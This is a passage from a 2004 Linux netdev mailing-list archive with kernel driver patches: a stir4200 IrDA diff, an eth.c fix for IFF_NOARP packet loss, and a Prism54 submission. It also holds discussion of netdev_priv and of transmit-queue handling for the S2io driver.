int stir_net_close(struct net_device *netdev) { struct stir_cb *stir = netdev->priv; - int i; /* Stop transmit processing */ netif_stop_queue(netdev); @@ -1007,15 +973,13 @@ static int stir_net_close(struct net_dev /* Kill transmit thread */ kill_proc(stir->thr_pid, SIGTERM, 1); wait_for_completion(&stir->thr_exited); - kfree(stir->tx_data); - - clear_bit(STIR_STATE_RECEIVING, &stir->state); - receive_stop(stir); + kfree(stir->fifo_status); - for (i = 0; i < NUM_RX_URBS; i++) { - usb_free_urb(stir->rx_urbs[i]); - kfree(stir->rx_data[i]); - } + /* Mop up receive urb's */ + usb_unlink_urb(stir->rx_urb); + + kfree(stir->io_buf); + usb_free_urb(stir->rx_urb); kfree_skb(stir->rx_buff.skb); /* Stop and remove instance of IrLAP */ @@ -1057,7 +1021,7 @@ static int stir_net_ioctl(struct net_dev case SIOCGRECEIVING: /* Only approximately true */ - irq->ifr_receiving = test_bit(STIR_STATE_RECEIVING, &stir->state); + irq->ifr_receiving = stir->receiving; break; default: @@ -1077,53 +1041,6 @@ static struct net_device_stats *stir_net } /* - * Parse the various endpoints and find the one we need. - * - * The endpoint are the pipes used to communicate with the USB device. - * The spec defines 2 endpoints of type bulk transfer, one in, and one out. - * These are used to pass frames back and forth with the dongle. - */ -static int stir_setup_usb(struct stir_cb *stir, struct usb_interface *intf) -{ - struct usb_device *usbdev = interface_to_usbdev(intf); - const struct usb_host_interface *interface - = &intf->altsetting[intf->act_altsetting]; - const struct usb_endpoint_descriptor *ep_in = NULL; - const struct usb_endpoint_descriptor *ep_out = NULL; - int i; - - if (interface->desc.bNumEndpoints != 2) { - WARNING("%s: expected two endpoints\n", __FUNCTION__); - return -ENODEV; - } - - for(i = 0; i < interface->desc.bNumEndpoints; i++) { - const struct usb_endpoint_descriptor *ep - = &interface->endpoint[i].desc; - - if ((ep->bmAttributes & USB_ENDPOINT_XFERTYPE_MASK) - == USB_ENDPOINT_XFER_BULK) { - /* We need to find an IN and an OUT */ - if ((ep->bEndpointAddress & USB_ENDPOINT_DIR_MASK) == USB_DIR_IN) - ep_in = ep; - else - ep_out = ep; - } else - WARNING("%s: unknown endpoint type 0x%x\n", - __FUNCTION__, ep->bmAttributes); - } - - if (!ep_in || !ep_out) - return -EIO; - - stir->tx_bulkpipe = usb_sndbulkpipe(usbdev, - ep_out->bEndpointAddress & USB_ENDPOINT_NUMBER_MASK); - stir->rx_intpipe = usb_rcvintpipe(usbdev, - ep_in->bEndpointAddress & USB_ENDPOINT_NUMBER_MASK); - return 0; -} - -/* * This routine is called by the USB subsystem for each new device * in the system. We need to check if the device is ours, and in * this case start handling it. @@ -1149,9 +1066,9 @@ static int stir_probe(struct usb_interfa stir->netdev = net; stir->usbdev = dev; - ret = stir_setup_usb(stir, intf); + ret = usb_reset_configuration(dev); if (ret != 0) { - ERROR("%s(), Bogus endpoints...\n", __FUNCTION__); + err("usb reset configuration failed"); goto err_out2; } @@ -1180,10 +1097,6 @@ static int stir_probe(struct usb_interfa net->get_stats = stir_net_get_stats; net->do_ioctl = stir_net_ioctl; - ret = stir_reset(stir); - if (ret) - goto err_out2; - ret = register_netdev(net); if (ret != 0) goto err_out2; @@ -1206,23 +1119,14 @@ err_out1: static void stir_disconnect(struct usb_interface *intf) { struct stir_cb *stir = usb_get_intfdata(intf); - struct net_device *net; - usb_set_intfdata(intf, NULL); if (!stir) return; - /* Stop transmitter */ - net = stir->netdev; - netif_device_detach(net); - - /* Remove netdevice */ - unregister_netdev(net); - - /* No longer attached to USB bus */ - stir->usbdev = NULL; + unregister_netdev(stir->netdev); + free_netdev(stir->netdev); - free_netdev(net); + usb_set_intfdata(intf, NULL); } From dmitry_sem@mail.ru Tue Mar 2 12:48:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 12:48:25 -0800 (PST) Received: from mx1.mail.ru (mx1.mail.ru [194.67.23.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22Km8KO026452 for ; Tue, 2 Mar 2004 12:48:09 -0800 Received: from [195.133.237.213] (port=3025 helo=dmitry) by mx1.mail.ru with smtp id 1AyGo9-0001tZ-00 for netdev@oss.sgi.com; Tue, 02 Mar 2004 23:48:05 +0300 Message-ID: <002701c40097$bcc3d970$0107a8c0@dmitry> From: "Dmitry Semyonov" To: Subject: ethernet patch Date: Tue, 2 Mar 2004 23:46:37 +0300 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0019_01C400B0.9A46C5B0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Spam: Not detected X-archive-position: 3705 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dmitry_sem@mail.ru Precedence: bulk X-list: netdev Content-Length: 3153 Lines: 74 This is a multi-part message in MIME format. ------=_NextPart_000_0019_01C400B0.9A46C5B0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit Hello, It seems there is a problem in the network layer of the 2.6.3 kernel. When IFF_NOARP is enabled on the device, the first outgoing packet is getting lost. I tried the following configuration: two computers are connected with the network cable. On both sides ARP is switched off on the network adapters, and MAC addresses are configured manually using the arp utility. When I ping one computer from another, I am getting ping replies only starting from the third one. The reason is the following: network layer is caching hardware (ethernet) headers. When I send a packet, this cache is examined for the proper header. If it is not found, the arp table is examined too. The data from the arp table is used for constructing the header for the packet (eth_header() in eth.c) and creating a cache entry (eth_hard_header() in eth.c). The cache entry is created correctly, but the header for outgoing packet in case of IFF_NOARP switched on the device is filled with zero destination address (MAC). So this packet is then lost. Next time the cache entry is used, and the packets are send correctly. So when I am pinging one computer from another the first ping request is lost so there is no answer for it. The second ping request gets to the other computer, and it sends a reply, wich is lost on the other side. And only for the third packet I get a reply from the other computer. This causes for example internet pages open very slowly on the links with ARP turned off, because the first request is lost, and it takes a while when the client resends it. Please, include the attached patch in the kernel. It fixes this problem on the 2.6.3 kernel. The same problem is in the 2.4.18 kernel. I verified it on both 2.6.3 and 2.4.18 kernels and they work fine after the correction. Thank you. Dmitry ------=_NextPart_000_0019_01C400B0.9A46C5B0 Content-Type: application/octet-stream; name="patch-2.6.3-ethernet" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="patch-2.6.3-ethernet" --- linux-2.6.3/net/ethernet/eth.c 2004-02-18 06:58:03.000000000 +0300=0A= +++ linux-2.6.3-patched/net/ethernet/eth.c 2004-03-02 21:15:46.000000000 = +0300=0A= @@ -31,6 +31,7 @@=0A= * older network drivers and IFF_ALLMULTI.=0A= * Christer Weinigel : Better rebuild header message.=0A= * Andrew Morton : 26Feb01: kill ether_setup() - use = netdev_boot_setup().=0A= + * Dmitry Semenov : 29Feb04: eth_header() - bug fix for = IFF_NOARP devices=0A= *=0A= * This program is free software; you can redistribute it and/or=0A= * modify it under the terms of the GNU General Public License=0A= @@ -101,7 +102,7 @@=0A= * Anyway, the loopback-device should never use this function... =0A= */=0A= =0A= - if (dev->flags & (IFF_LOOPBACK|IFF_NOARP)) =0A= + if (dev->flags & IFF_LOOPBACK) =0A= {=0A= memset(eth->h_dest, 0, dev->addr_len);=0A= return ETH_HLEN;=0A= ------=_NextPart_000_0019_01C400B0.9A46C5B0-- From jgarzik@pobox.com Tue Mar 2 12:54:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 12:54:55 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22KskKO026841 for ; Tue, 2 Mar 2004 12:54:49 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:2940 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AyFF6-0002HD-01; Tue, 02 Mar 2004 19:07:48 +0000 Message-ID: <4044DB78.7040309@pobox.com> Date: Tue, 02 Mar 2004 14:07:36 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: rmk@arm.linux.org.uk, netdev@oss.sgi.com Subject: Re: [janitor] remove casts in drivers/net/arm/ References: <20040229142516.3d218ed0.rddunlap@osdl.org> <20040229143436.4bb884ee.rddunlap@osdl.org> <20040302121042.A9931@flint.arm.linux.org.uk> <4044D86C.70709@pobox.com> <20040302110237.0f580736.rddunlap@osdl.org> In-Reply-To: <20040302110237.0f580736.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3706 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1180 Lines: 39 Randy.Dunlap wrote: > On Tue, 02 Mar 2004 13:54:36 -0500 Jeff Garzik wrote: > > | Russell King wrote: > | > On Sun, Feb 29, 2004 at 02:34:36PM -0800, Randy.Dunlap wrote: > | > > | >> drivers/net/arm/am79c961a.c | 18 +++++++++--------- > | >> drivers/net/arm/ether1.c | 18 +++++++++--------- > | >> drivers/net/arm/ether3.c | 18 +++++++++--------- > | >> drivers/net/arm/etherh.c | 4 ++-- > | >> 4 files changed, 29 insertions(+), 29 deletions(-) > | > > | > > | > I think we should really consider using netdev_priv() in all these places > | > so the compiler knows that 'dev' and 'priv' are related. > | > | > | Good point. > > I respectfully disagree, but if the maintainter won't merge > them as is, so be it. > > I have trouble understanding why this: > return (char *)dev + ((sizeof(struct net_device) + 31) & ~31); > is better than using a structure->field, i.e., > dev->priv > > Can one of you enlighten me? One is an additional pointer load and dereference, and one is a constant offset from the beginning of the dev structure, calculated at compile time. netdev_priv() provides the same results as dev->priv but at less cost. Jeff From scott.feldman@intel.com Tue Mar 2 13:17:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 13:17:35 -0800 (PST) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22LHLKO028916 for ; Tue, 2 Mar 2004 13:17:23 -0800 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.9 2004/01/09 00:55:23 root Exp $) with ESMTP id i22LGeGh028479; Tue, 2 Mar 2004 21:16:40 GMT Received: from orsmsxvs041.jf.intel.com (orsmsxvs041.jf.intel.com [192.168.65.54]) by petasus.hd.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.10 2004/03/01 19:22:27 root Exp $) with SMTP id i22LG6X3016233; Tue, 2 Mar 2004 21:16:34 GMT Received: from orsmsx332.amr.corp.intel.com ([192.168.65.60]) by orsmsxvs041.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004030213163408179 ; Tue, 02 Mar 2004 13:16:34 -0800 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx332.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 2 Mar 2004 13:16:34 -0800 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: Submission #3 for S2io 10GbE driver Date: Tue, 2 Mar 2004 13:16:33 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Submission #3 for S2io 10GbE driver Thread-Index: AcQAhvva3gJRrh/5Tx6Fvh3gg2fA7wABFdSA From: "Feldman, Scott" To: "Jeff Garzik" , Cc: , , , , , X-OriginalArrivalTime: 02 Mar 2004 21:16:34.0431 (UTC) FILETIME=[A3FB68F0:01C4009B] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i22LHLKO028916 X-archive-position: 3707 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1220 Lines: 52 > This is incorrect, and definitely an issue that needs to be addressed. > > As I said, the model is, the driver calls netif_stop_queue() after > queueing a packet, when it knows there is no more room for a full > packet. The tg3 driver does it like this: > > ...queue an skb to hardware... > if (TX_BUFFS_AVAIL(tp) <= (MAX_SKB_FRAGS + 1)) > netif_stop_queue(dev); > > Therefore you guarantee the queue is stopped until you are > 100% certain that another skb (up to MAX_SKB_FRAGS + "main frag" > fragments) may be queued to hardware. > > You do -not- want to figure out "after the fact" that you > cannot queue the skb you were just passed. But tg3 checks this case also and returns 1: /* This is a hard error, log it. */ if (unlikely(TX_BUFFS_AVAIL(tp) <= (skb_shinfo(skb)->nr_frags + 1))) { netif_stop_queue(dev); ... return 1; } Does this code path happen? Using tg3 for reference, can we say this is the ideal model? dev->hard_start if(!space_avail) stop_queue return 1; queue skb if(!space_avail) stop_queue return 0; tx_clean if(queue_stopped && space_avail) wake_queue -scott From jgarzik@pobox.com Tue Mar 2 13:21:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 13:21:31 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22LLRKO029354 for ; Tue, 2 Mar 2004 13:21:28 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:3017 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AyHKI-0004dN-Ll; Tue, 02 Mar 2004 21:21:18 +0000 Message-ID: <4044FABE.9070408@pobox.com> Date: Tue, 02 Mar 2004 16:21:02 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: raghavendra.koushik@wipro.com, leonid.grossman@s2io.com, netdev@oss.sgi.com, shemminger@osdl.org, hch@infradead.org, ravinandan.arakali@s2io.com, raghavendra.koushik@s2io.com Subject: Re: Submission #3 for S2io 10GbE driver References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3708 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1517 Lines: 49 Feldman, Scott wrote: >>This is incorrect, and definitely an issue that needs to be addressed. >> >>As I said, the model is, the driver calls netif_stop_queue() after >>queueing a packet, when it knows there is no more room for a full >>packet. The tg3 driver does it like this: >> >> ...queue an skb to hardware... >> if (TX_BUFFS_AVAIL(tp) <= (MAX_SKB_FRAGS + 1)) >> netif_stop_queue(dev); >> >>Therefore you guarantee the queue is stopped until you are >>100% certain that another skb (up to MAX_SKB_FRAGS + "main frag" >>fragments) may be queued to hardware. >> >>You do -not- want to figure out "after the fact" that you >>cannot queue the skb you were just passed. > > > But tg3 checks this case also and returns 1: > > /* This is a hard error, log it. */ > if (unlikely(TX_BUFFS_AVAIL(tp) <= (skb_shinfo(skb)->nr_frags + > 1))) { > netif_stop_queue(dev); > ... > return 1; > } > > Does this code path happen? You snipped the important printk(KERN_ERR PFX "%s: BUG! Tx Ring full when queue awake!\n", dev->name); It's a BUG because it should never happen. tg3 needs to kfree the skb too, leading to my comment "some existing drivers get this wrong too". Requeueing the skb only occurs in -some- packet schedulers, not all. So drivers cannot depend on the net stack doing what you want in all cases. Conditional correct behavior or leak.. :/ Jeff From greearb@candelatech.com Tue Mar 2 13:33:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 13:33:24 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22LXIKO029844 for ; Tue, 2 Mar 2004 13:33:18 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.10) with ESMTP id i22LX7PR025406; Tue, 2 Mar 2004 13:33:08 -0800 Message-ID: <4044FD93.8030006@candelatech.com> Date: Tue, 02 Mar 2004 13:33:07 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Garzik CC: "Feldman, Scott" , netdev@oss.sgi.com Subject: Re: Submission #3 for S2io 10GbE driver References: <4044FABE.9070408@pobox.com> In-Reply-To: <4044FABE.9070408@pobox.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3709 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 1131 Lines: 29 Jeff Garzik wrote: > tg3 needs to kfree the skb too, leading to my comment "some existing > drivers get this wrong too". Requeueing the skb only occurs in -some- > packet schedulers, not all. So drivers cannot depend on the net stack > doing what you want in all cases. Conditional correct behavior or > leak.. :/ I see lots of hard-start-xmit errors for e1000 and e100 in 2.4.25, and it's very nice to be able to retry. Lets fix the broken callers instead of making the drivers less useful. You can see this yourself with pktgen. Here is the code in pktgen where I see the printouts...if this is my bug, please let me know! spin_lock_bh(&odev->xmit_lock); if (!netif_queue_stopped(odev)) { if (odev->hard_start_xmit(next->skb, odev)) { if (net_ratelimit()) { printk(KERN_INFO "Hard xmit error\n"); } Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From jgarzik@pobox.com Tue Mar 2 13:38:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 13:38:26 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22LcLKO030370 for ; Tue, 2 Mar 2004 13:38:22 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:3033 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AyHag-0004rw-8E; Tue, 02 Mar 2004 21:38:14 +0000 Message-ID: <4044FEBA.2050807@pobox.com> Date: Tue, 02 Mar 2004 16:38:02 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ben Greear CC: "Feldman, Scott" , netdev@oss.sgi.com Subject: Re: Submission #3 for S2io 10GbE driver References: <4044FABE.9070408@pobox.com> <4044FD93.8030006@candelatech.com> In-Reply-To: <4044FD93.8030006@candelatech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3710 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 286 Lines: 13 Ben Greear wrote: > I see lots of hard-start-xmit errors for e1000 and e100 in 2.4.25, > and it's very nice to be able to retry. Lets fix the broken callers > instead of making the drivers less useful. Let's fix the broken drivers first. Like I said, it's a BUG condition. Jeff From scott.feldman@intel.com Tue Mar 2 13:48:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 13:48:22 -0800 (PST) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22LmDKO030776 for ; Tue, 2 Mar 2004 13:48:14 -0800 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.9 2004/01/09 00:55:23 root Exp $) with ESMTP id i22LltGh006642; Tue, 2 Mar 2004 21:47:55 GMT Received: from orsmsxvs041.jf.intel.com (orsmsxvs041.jf.intel.com [192.168.65.54]) by petasus.hd.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.10 2004/03/01 19:22:27 root Exp $) with SMTP id i22LlfWv024997; Tue, 2 Mar 2004 21:47:50 GMT Received: from orsmsx332.amr.corp.intel.com ([192.168.65.60]) by orsmsxvs041.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004030213474912833 ; Tue, 02 Mar 2004 13:47:49 -0800 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx332.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 2 Mar 2004 13:47:49 -0800 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: Submission #3 for S2io 10GbE driver Date: Tue, 2 Mar 2004 13:47:48 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Submission #3 for S2io 10GbE driver Thread-Index: AcQAnrQAi0gwbIz1RAOBqg7briW++wAAJwZw From: "Feldman, Scott" To: "Jeff Garzik" , "Ben Greear" Cc: X-OriginalArrivalTime: 02 Mar 2004 21:47:49.0811 (UTC) FILETIME=[01CBB030:01C400A0] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i22LmDKO030776 X-archive-position: 3711 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 374 Lines: 13 > Let's fix the broken drivers first. Ok, e100 v3 is same model as tg3, and we think tg3 is correct, so we think e100 v3 is correct as well. Ben, e100 v3 probably isn't given you the effect you had with previous driver versions. It'll stop the queue and never return a skb (unless we hit that BUG case). e1000/ixgb need some work to bring them into this model. -scott From greearb@candelatech.com Tue Mar 2 14:21:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 14:21:55 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22MLkKO031594 for ; Tue, 2 Mar 2004 14:21:46 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.10) with ESMTP id i22MLdPR027167; Tue, 2 Mar 2004 14:21:40 -0800 Message-ID: <404508EC.8060200@candelatech.com> Date: Tue, 02 Mar 2004 14:21:32 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com Subject: Re: Submission #3 for S2io 10GbE driver References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3712 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 681 Lines: 29 Feldman, Scott wrote: >>Let's fix the broken drivers first. > > > Ok, e100 v3 is same model as tg3, and we think tg3 is correct, so we > think e100 v3 is correct as well. > > Ben, e100 v3 probably isn't given you the effect you had with previous > driver versions. It'll stop the queue and never return a skb (unless we > hit that BUG case). Ok. Since I can retry it's not a big problem anyway. I'm porting stuff forward to 2.6 and will re-test there sometime soon. > e1000/ixgb need some work to bring them into this model. Cool, looking forward to it! Ben > > -scott > -- Ben Greear Candela Technologies Inc http://www.candelatech.com From jt@bougret.hpl.hp.com Wed Mar 3 18:35:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Mar 2004 18:35:40 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i242ZPKO007184 for ; Wed, 3 Mar 2004 18:35:25 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id 3BAF41C01103; Wed, 3 Mar 2004 18:35:25 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id SAA26490; Wed, 3 Mar 2004 18:35:24 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1Ayiho-000542-00; Wed, 03 Mar 2004 18:35:24 -0800 Date: Wed, 3 Mar 2004 18:35:24 -0800 To: "David S. Miller" , Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list Subject: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040304023524.GA19453@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="mP3DRpeJDSE+ciuQ" Content-Disposition: inline User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3718 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 59675 Lines: 836 --mP3DRpeJDSE+ciuQ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Dave & Jeff, The attached .bz2 file is a patch for 2.6.3 adding the Intersil Prism54 wireless driver. Sorry for the attachement, the file is rather big, if you want inline+plaintext, I'll send that personal to you. I've been using this driver with great success on 2.6.3 and 2.6.4-rc1 (SMP). This driver support various popular CardBus and PCI 802.11g cards (54 Mb/s) based on the Intersil PrismGT/PrismDuette chipset. I would like this driver to go into 2.6.X. However, I understand that it's lot's of code to review. Have fun... Jean --mP3DRpeJDSE+ciuQ Content-Type: application/octet-stream Content-Disposition: attachment; filename="patch-2.6.3-prism54-cvs20040304.bz2" Content-Transfer-Encoding: base64 QlpoOTFBWSZTWSlU5IAA/gx/gH7//9r//////////v////9g7P7xEHkAAEKEoAAADd0vR3N9 APXvO+++GqAoAFKArr0T7tKX1777NI7pHb6O5jaY32689x895AAd9Ybffde9dAfUumkEeu9Y fH3uC7etde7aEgaaAAFJAKlIk6FsPmwPrSXtgvs0VaY6PRwAqkU0NO+3qvrVm2csd6c2btrR XL6yD3YemhIAAKd8AeD63tAPkABQAM9XyN7bwdmyTfD4b7uc++1R2+F7tlXt769zSlmVVapb DNvoAAPoUVu3dnYH19xrR9u62NBpGZm9Idy89NuwVdO5j7ZfRqTtq97dbt10N3Z7zVetF2ZL rKapk0L2O5m9tUT67zffO43wy3c3W631lIV7e+2vfd2fQUnW70mx13Z7jfb33uD5t7fd7qaf Xc8ulHW++ud9vunO4bcnBzY+td768Q8ze3GufW9rHg7hrhTre4ADqjjezcKlmTrPBQeIdAAA dAFEWEBmo8b0NOXg82uYtPvHw7zax2gztVs2saVtasbl212vWq95t3R0jvfLe+xfd3t5c99m ROD3DHe4zmZu43fZ1dm+7n29PV52d9dRp6uWPoBqlJ9PWWtcYrujs33uOk92dLmyqtkwtVs0 uqUG71vZ7rooa7H24TmmL2YC7Nnh0NADUwPe2s7NWq5wap6D3XAFOgT1hO8I11uyl3N7zV3r Lc148zuzdlcArjmuXZtmsZ4vdveDnc8q4SmkCACATTQAEyAET00GgJpkCbRNJ6QZTwNQENqP FAlNBAQgiAUwmmpskT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w/6LhpGms7PDVl5oqMaHDOHLq+FAXjMUigumtcIR KVD1AUzuSptmMAD8AEtV2qC1xYxVlLWIarFlNWlW2sqWLjiCEqtpkaune/5nklCo1igQhmEM 0ggMjIyIaUs5LFiMKKYUnhNPS4ZSI+WPHMew4BcQqcG8tDkCrwMjyLKDf93wtPhsPpQ/CHO9 oJv1HoGFaCODMT2REwpoA8cpDdrDiobNCP+vL9yaxmp8kHygIB93qSgiL+yIpIIv3IKyG0Wq Vl+glpsbGlFqLbY1GzKkDAqUJlrm3zqg/8KV9VuZD/myCSOuUKkZEIiHzE2peuo2q3+dGv4z Uba3wv1uuiaBfbEan2XJ8F4ZAfy0GyKWi/BTZnpD5lIjnXKwFhC/PgH+8XckU4UJApVOSAA= --mP3DRpeJDSE+ciuQ-- From jt@bougret.hpl.hp.com Wed Mar 3 18:49:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Mar 2004 18:49:36 -0800 (PST) Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i242nXKO008887 for ; Wed, 3 Mar 2004 18:49:33 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel12.hp.com (Postfix) with ESMTP id C3DDD1C00F05; Wed, 3 Mar 2004 18:49:32 -0800 